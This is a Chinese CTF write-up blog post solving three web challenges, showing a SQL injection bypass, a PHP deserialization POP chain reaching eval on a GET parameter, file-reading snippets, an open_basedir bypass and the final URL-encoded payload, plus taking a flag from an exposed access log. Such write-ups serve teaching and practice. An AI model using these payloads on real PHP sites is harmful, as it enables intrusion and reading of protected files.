空相
一道签到题,提示参数是id 尝试?id=1为禁止进入2为text
?id=1’ or 1=1 绕过
给出flag的php文件,提交token得到flag
八苦
(三道web题中唯一正常一点的)
(环境关了,早上做出来的题,记不太清了,记错了也,,2333333)
进入靶机,发现只有一个welcome,啥也没有。各种备份泄露试一波,最后发现是phps
然后得到源码(user类当时觉得没用就删了)
123456789101112131415161718 |
rror_reporting(0);class Test{ protected $careful; public $securuty = array('say_hello'=>'1'); public function __wakeup(){ if($this->careful===1){ phpinfo();// step 1:read source,get phpinfo and read it carefullt } } public function __get($name){ return $this->securuty[$name]; } public function __call($param1,$param2){ if($this->{$param1}){ eval('$a='.$_GET['dangerous'].';'); } }} |
然后根据提示,先去看phpinfo
构造序列化
O:4:”Test”:2:{s:10:” * careful”;i:1;s:8:”securuty”;a:1:{s:9:”say_hello”;s:1:”1”;}}
因为protected的关系,好像中间有截断,所以urlencode,
然后传给foo,得到phpinfo
ctrl f 搜索.php 得到一个 preload.php(具体啥名字忘记了)
然后得到源码
1234567891011121314151617 |
class Welcome{ public function say_hello(){ echo "welcome<br>"; }}class Welcome_again{ public $willing ; public $action ; public function __construct(){ $this->action=new Welcome; } public function __destruct(){ if($this->willing){ $this->action->say_hello(); } }} |
类似于强网杯upload
姿势:
生成Welcome_again 类,
willing 赋值 1,action 赋值 new Test(),Test 中 赋值securuty 以键值对 ‘say_hello’=> 1
利用链:
首先生成Welcome_again 类,调用__construct()方法赋值action
然后调用__destruct()方法,(此时$this->willing=1)
因为action = new Test()
所以调用 Test.say_hello()
但是Test没有该方法,所以调用__call()方法
然后 if($this->{$param1})
又没有改属性,所以调用__get()方法
返回1(我们之前构造的键值对中的值)
然后通过判断,
1
|
eval('$a='.$_GET['dangerous'].';');
|
这里利用 ; 截断,
使得eval执行不止一个函数
然后翻出之前收藏的读文件一把梭,
123 |
1;$fp = fopen("./index.php","r");$str = fread($fp,filesize("./index.php"));echo $str = str_replace("\r\n","<br />",$str);1;echo readfile("./index.php"); |
(忘记当时用的哪个了)
发现成功
然后去读flag
发现失败,
要bypass open_basedir
参考wp
https://blog.csdn.net/systemino/article/details/94645518中的
尝试构造:
12345678910 |
chdir('/tmp');mkdir('sky');chdir('sky');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/var/www/flag.php')); |
得到flag
最终payload:
12 |
foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D&dangerous=1;chdir('/tmp');mkdir('sky');chdir('sky');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/var/www/flag.php')); |
六尘
非预期解
wwwscan扫描到存在log,
访问http://111.33.164.6:10005/log/access.log
搜索flag发现
似乎是别的解出题目的队伍去拿flag时留下来的流量?(白嫖一手)
进去加上token即可得到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论